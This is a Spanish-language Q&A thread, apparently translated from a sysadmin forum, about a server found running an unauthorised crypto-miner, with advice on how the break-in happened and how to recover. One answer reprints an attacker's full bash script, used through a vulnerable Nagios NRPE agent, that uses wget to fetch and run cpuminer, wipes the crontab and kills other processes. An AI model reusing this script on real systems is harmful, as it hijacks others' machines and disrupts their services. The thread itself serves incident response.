¿Me han hackeado?

¿Me han hackeado?

Ejecuto un servidor dedicado, donde recientemente noté un alto uso de CPU y verifiqué los procesos. Parece que alguien (cuenta de mick) estaba minando en mi servidor. ¿Cómo es esto posible? El proceso está a continuación. He suspendido la cuenta. ¿Qué más necesitaría hacer?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

Respuesta1

Si está ejecutando un servidor web que permite secuencias de comandos del lado del servidor (php, ruby, etc.), esto es muy fácil de hacer.

Todo lo que el usuario tiene que hacer es generar un script que descargue un archivo /tmp/sh64y luego lo ejecute. Los scripts web normalmente necesitan poder ejecutar programas externos, por lo que este tipo de actividad es difícil de prevenir.

Si la mickcuenta es la misma que se utiliza para ejecutar los scripts web del usuario, entonces diría que no, que no estás pirateado. Solo un usuario abusando de su cuenta.

Si desea evitar este comportamiento, existen muy pocas formas de evitarlo. Puede no permitir llamadas a programas externos. O puede hacer algo como eliminar programas que se ejecutan durante mucho tiempo (cualquier cosa que se deje ejecutándose durante más de 60 segundos, por ejemplo).
Sin conocer más detalles sobre su configuración, es difícil determinar el mejor curso de acción.

Respuesta2

Tuve un problema similar. Explotaron una versión desactualizada del agente NRPE de Nagios para ejecutar un wgetscript que instaló y configuró el minero bitcoin de Sourceforge (el demonio NRPE estaba dont_blame_nrpehabilitado). No encontré nada que indicara que el intento en mi máquina fue persistente.

Este es el script que se utilizó para la instalación y configuración del minero Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Este script se ejecutó completamente como usuario de Nagios, por lo que no necesitaba ningún acceso de root.

Respuesta3

Su sistema definitivamente ha sido comprometido o, en el peor de los casos, pirateado. Hay otras historias que describen la instalación de un minero similar.

Yo tomaría la posición de que su sistema ha sido comprometido y sacaría todo lo crítico de él para comenzar, de modo que tenga una copia de seguridad si aún no lo está haciendo.

Análisis

Si tiene curiosidad sobre cómo entraron, necesitará obtener una lista completa de los servicios (web, mysql, etc.) que ha instalado y ver si hay algún exploit activo que le permita a alguien obtener privilegios elevados.

Comenzaría con cualquier habilitación web que sean aplicaciones basadas en web. Normalmente, estas aplicaciones pueden sufrir un desbordamiento del búfer y acceder a modificar la pila del servidor web para poder instalar aplicaciones adicionales.

Es cierto que este tipo de compromisos pueden ser incidentes aislados, por lo que simplemente eliminar el software ofensivo y el malware puede ser suficiente para eliminarlo sin tener que soportar el tiempo que implica realizar una recuperación/configuración completa del sistema.

Si este sistema se construyera utilizando una imagen basada en VPS, entonces trabajaría con el proveedor, ya que parchearlo parecería ser lo mejor para todos sus clientes.

Más allá de simplemente comprometer la pila web

Todo lo que hay en la caja debe ser examinado minuciosamente y en esencia no es digno de confianza, pero me tomaría un poco de tiempo para ver si puedes averiguar desde dónde inician sesión los atacantes, si es que lo hacen. Posiblemente estén iniciando sesión utilizando cuentas SSH que se agregaron al sistema después de comprometerlo.

Esta puede ser una tarea ardua que requiere muchos días para realizar el análisis, especialmente si no puede confiar en ninguna de las herramientas incluidas para ayudarlo en esta tarea. Animo a cualquiera a que se tome este tiempo para comprender cómo se vio comprometido su sistema para poder reducir el riesgo de que esto vuelva a suceder en el futuro, al menos a través de este vector en particular.

Si este no es un problema de producción, en realidad es una buena oportunidad de aprendizaje para obtener información valiosa sobre cómo los sistemas pueden verse comprometidos y cómo los posibles atacantes pueden "aprovechar" el acceso.

¿Resquicio de esperanza?

Dado que el sistema se utiliza con fines de minería, es probable que hayan utilizado un conjunto de herramientas de secuencias de comandos automatizadas, ya que atacar suficientes sistemas para configurar mineros zombies parece llevar mucho tiempo. Cuando se utilizan herramientas como estas, por lo general son de mala calidad en su construcción, simplemente buscan hacer lo mínimo para ganar terreno y luego entregar su carga útil (el software de minería), por lo que puede tener suerte y obtener información adicional. sobre cómo pudieron entrar.

información relacionada